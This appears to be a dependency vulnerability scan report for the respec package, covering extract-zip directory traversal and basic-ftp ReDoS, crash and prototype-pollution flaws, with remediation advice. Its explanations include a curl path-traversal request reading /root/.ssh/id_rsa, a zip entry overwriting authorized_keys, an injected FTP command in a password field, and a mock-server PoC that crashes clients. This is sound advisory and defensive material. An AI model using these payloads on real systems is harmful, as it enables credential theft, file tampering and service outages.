Vulnerabilities

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high severity

Directory Traversal

  • Vulnerable module: extract-zip
  • Introduced through: puppeteer@22.15.0

Detailed paths

  • Introduced through: respec@w3c/respec › puppeteer@22.15.0 › @puppeteer/browsers@2.3.0 › extract-zip@2.0.1
  • Introduced through: respec@w3c/respec › puppeteer@22.15.0 › puppeteer-core@22.15.0 › @puppeteer/browsers@2.3.0 › extract-zip@2.0.1

Overview

extract-zip is an unzip a zip file into a directory using 100% javascript

Affected versions of this package are vulnerable to Directory Traversal via the extraction process. An attacker can access or modify arbitrary files by crafting a malicious zip archive containing symlinks that point outside the intended extraction directory.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

There is no fixed version for extract-zip.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: basic-ftp
  • Introduced through: puppeteer@22.15.0

Detailed paths

  • Introduced through: respec@w3c/respec › puppeteer@22.15.0 › @puppeteer/browsers@2.3.0 › proxy-agent@6.5.0 › pac-proxy-agent@7.2.0 › get-uri@6.0.5 › basic-ftp@5.3.1
    Remediation: Upgrade to puppeteer@25.0.2.
  • Introduced through: respec@w3c/respec › puppeteer@22.15.0 › puppeteer-core@22.15.0 › @puppeteer/browsers@2.3.0 › proxy-agent@6.5.0 › pac-proxy-agent@7.2.0 › get-uri@6.0.5 › basic-ftp@5.3.1
    Remediation: Upgrade to puppeteer@25.0.2.

Overview

basic-ftp is a FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via unanchored regular expressions in Client.list() (specifically in parseListDOS.ts and parseListUnix.ts). The regex patterns used to parse FTP directory listings lack anchoring and use unbounded quantifiers, causing catastrophic backtracking when a malicious FTP server returns a long line that cannot be matched. A single such line triggers O(n²) CPU work per character, allowing a server to block the Node.js event loop indefinitely.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade basic-ftp to version 6.2.1 or higher.

References

high severity
new

Uncaught Exception

  • Vulnerable module: basic-ftp
  • Introduced through: puppeteer@22.15.0

Detailed paths

  • Introduced through: respec@w3c/respec › puppeteer@22.15.0 › @puppeteer/browsers@2.3.0 › proxy-agent@6.5.0 › pac-proxy-agent@7.2.0 › get-uri@6.0.5 › basic-ftp@5.3.1
    Remediation: Upgrade to puppeteer@25.0.2.
  • Introduced through: respec@w3c/respec › puppeteer@22.15.0 › puppeteer-core@22.15.0 › @puppeteer/browsers@2.3.0 › proxy-agent@6.5.0 › pac-proxy-agent@7.2.0 › get-uri@6.0.5 › basic-ftp@5.3.1
    Remediation: Upgrade to puppeteer@25.0.2.

Overview

basic-ftp is a FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.

Affected versions of this package are vulnerable to Uncaught Exception via an uncaught exception in FTPContext._passToHandler. Client.login() calls FTPContext.send() from inside the control-socket data event handler, and send() throws when the command contains CR, LF, or NUL. Because the throw originates inside a socket event callback rather than a Promise executor, no try/catch or .catch() in application code can intercept it, and the process terminates with an uncaught exception. The same pattern exists in the REST/RETR path of downloadTo() when the remote path contains control characters. An attacker who controls the FTP password or the remote path of a resumed download can crash the entire Node.js process with a single request, taking down all other clients it serves.

PoC

Tested on Node.js v22.22.0 against basic-ftp 6.2.2 (built from source). It uses a minimal mock FTP server on localhost:

const net = require("net")
const ftp = require("basic-ftp")

const srv = net.createServer(s => {
  s.write("220 hi\r\n")
  s.on("data", d => {
    const c = d.toString()
    if (c.startsWith("USER")) s.write("331 pw\r\n")
    else if (c.startsWith("PASS")) s.write("230 ok\r\n")
    else s.write("200 ok\r\n")
  })
})

srv.listen(0, async () => {
  const c = new ftp.Client(2000)
  try {
    await c.access({
      host: "127.0.0.1",
      port: srv.address().port,
      user: "bob",
      password: "x\r\nDELE important"   // attacker-controlled value
    })
  } catch (e) {
    console.log("rejected:", e.message)  // never reached
  }
  console.log("handled gracefully")      // never reached
  process.exit(0)
})

Result: the process terminates with an uncaught exception and neither catch nor the final console.log runs:

Error: Invalid command: Contains control characters. (PASS x
DELE important)
    at FTPContext.send (dist/FtpContext.js:189:19)
    at Object.responseHandler (dist/Client.js:186:26)
    at FTPContext._passToHandler (dist/FtpContext.js:322:24)
    at FTPContext._onControlSocketData (dist/FtpContext.js:312:18)
    at Socket.<anonymous> (dist/FtpContext.js:133:44)

The server in the PoC is benign. Any normal FTP server that replies 331 to USER triggers the same crash.

Note: Tested on Node.js v22.22.0 against basic-ftp 6.2.2 built from source, using a minimal mock FTP server on localhost.

Remediation

Upgrade basic-ftp to version 6.2.3 or higher.

References

high severity

Directory Traversal

  • Vulnerable module: extract-zip
  • Introduced through: puppeteer@22.15.0

Detailed paths

  • Introduced through: respec@w3c/respec › puppeteer@22.15.0 › @puppeteer/browsers@2.3.0 › extract-zip@2.0.1
  • Introduced through: respec@w3c/respec › puppeteer@22.15.0 › puppeteer-core@22.15.0 › @puppeteer/browsers@2.3.0 › extract-zip@2.0.1

Overview

extract-zip is an unzip a zip file into a directory using 100% javascript

Affected versions of this package are vulnerable to Directory Traversal through the archive extraction logic in index.js. An attacker can write a file outside the destination directory by supplying an archive with two entries that reuse the same path: a symlink pointing outside the extraction root, followed by a regular file for that same name. During extraction, the code only checked the parent directory of each entry and then wrote the file through the existing final path component, so the second entry followed the planted symlink and overwrote the symlink target. This can corrupt or replace files writable by the process running extract-zip.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity
new

Prototype Pollution

  • Vulnerable module: basic-ftp
  • Introduced through: puppeteer@22.15.0

Detailed paths

  • Introduced through: respec@w3c/respec › puppeteer@22.15.0 › @puppeteer/browsers@2.3.0 › proxy-agent@6.5.0 › pac-proxy-agent@7.2.0 › get-uri@6.0.5 › basic-ftp@5.3.1
    Remediation: Upgrade to puppeteer@25.0.2.
  • Introduced through: respec@w3c/respec › puppeteer@22.15.0 › puppeteer-core@22.15.0 › @puppeteer/browsers@2.3.0 › proxy-agent@6.5.0 › pac-proxy-agent@7.2.0 › get-uri@6.0.5 › basic-ftp@5.3.1
    Remediation: Upgrade to puppeteer@25.0.2.

Overview

basic-ftp is a FTP client for Node.js, supports FTPS over TLS, IPv6, Async/Await, and Typescript.

Affected versions of this package are vulnerable to Prototype Pollution via the parseLine function in src/parseListMLSD.ts, which looks up fact-handler functions in a plain object literal keyed directly by fact names taken from the FTP server's MLSD directory-listing response without validating that the key is an own property. When a directory-listing line contains the fact name __proto__, the bracket lookup factHandlersByName["__proto__"] returns Object.prototype itself - a truthy, non-undefined value - bypassing the if (!factHandler) guard and causing the code to throw TypeError: factHandler is not a function. This TypeError is not an FTPError, so it is not caught by Client.list()'s retry logic and propagates as a rejected promise out of list() and every API built on top of it (downloadToDir, uploadFromDir, clearWorkingDir, removeDir), crashing the Node.js process when the rejection is unhandled.

PoC

Prerequisites: Node.js, a clone/checkout of basic-ftp, `npm install` then `npm run buildOnly` (or `npx tsc`) to produce dist/.

Step 1 — Minimal reproduction of the parser bug alone:

    node -e '
    const { parseList } = require("./dist/parseList");
    parseList("__proto__=x;type=file;size=10; evil.txt");
    '

Expected result:
    Uncaught TypeError: factHandler is not a function
        at parseLine (.../dist/parseListMLSD.js:...)

Step 2 — End-to-end reproduction through the public Client API, proving a real FTP server can trigger this over the wire with no client modification:

    Save as poc.js in the repo root and run `node poc.js`:

    const net = require("net")
    const { Client } = require("./dist/index")

    const server = net.createServer(socket => {
        socket.write("220 fake ftp ready\r\n")
        socket.on("data", data => {
            const cmd = data.toString().trim()
            if (cmd.startsWith("USER")) socket.write("230 ok\r\n")
            else if (cmd.startsWith("OPTS") || cmd.startsWith("TYPE") ||
                     cmd.startsWith("STRU") || cmd.startsWith("PBSZ") ||
                     cmd.startsWith("PROT")) socket.write("200 ok\r\n")
            else if (cmd.startsWith("FEAT")) socket.write("211-Features\r\n MLST type;size;\r\n211 End\r\n")
            else if (cmd.startsWith("EPSV")) {
                const dataServer = net.createServer(dsock => {
                    // The malicious line: fact name "__proto__"
                    dsock.end("__proto__=pwn;type=file;size=4; evil.txt\r\n")
                })
                dataServer.listen(0, "127.0.0.1", () => {
                    const p = dataServer.address().port
                    socket.write(`229 Entering Extended Passive Mode (|||${p}|)\r\n`)
                })
            }
            else if (cmd.startsWith("MLSD") || cmd.startsWith("LIST")) {
                socket.write("150 Here comes the listing\r\n")
                setTimeout(() => socket.write("226 Listing complete\r\n"), 50)
            }
            else socket.write("200 ok\r\n")
        })
    })

    server.listen(2121, "127.0.0.1", async () => {
        const client = new Client()
        try {
            await client.access({ host: "127.0.0.1", port: 2121, user: "a", password: "b" })
            const files = await client.list()
            console.log("list() returned normally (unexpected):", files)
        } catch (err) {
            console.log("client.list() threw:", err.constructor.name, "-", err.message)
        } finally {
            client.close()
            server.close()
            process.exit(0)
        }
    })

Expected output:

    client.list() threw: TypeError - factHandler is not a function

Configuration notes:
- No TLS, auth bypass, or special server config needed — this is a plain FTP (PASV/EPSV
  text) session using the server's FEAT response to turn on MLSD, which is the common
  path for any modern FTP server.
- The same crash can be delivered via a LIST-fallback MLSD-shaped line too, since
  parseList() auto-detects the format from the last listing line.
- In a real application without a try/catch around list()/downloadToDir()/
  clearWorkingDir()/removeDir(), this rejection is unhandled and terminates the
  Node.js process by default (Node >=15 unhandledRejection behavior is "throw").

Note: The PoC states it requires Node.js and a local build of basic-ftp (via npm run buildOnly or npx tsc) to produce the dist/ directory, with no TLS or special server configuration needed.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade basic-ftp to version 6.2.4 or higher.

References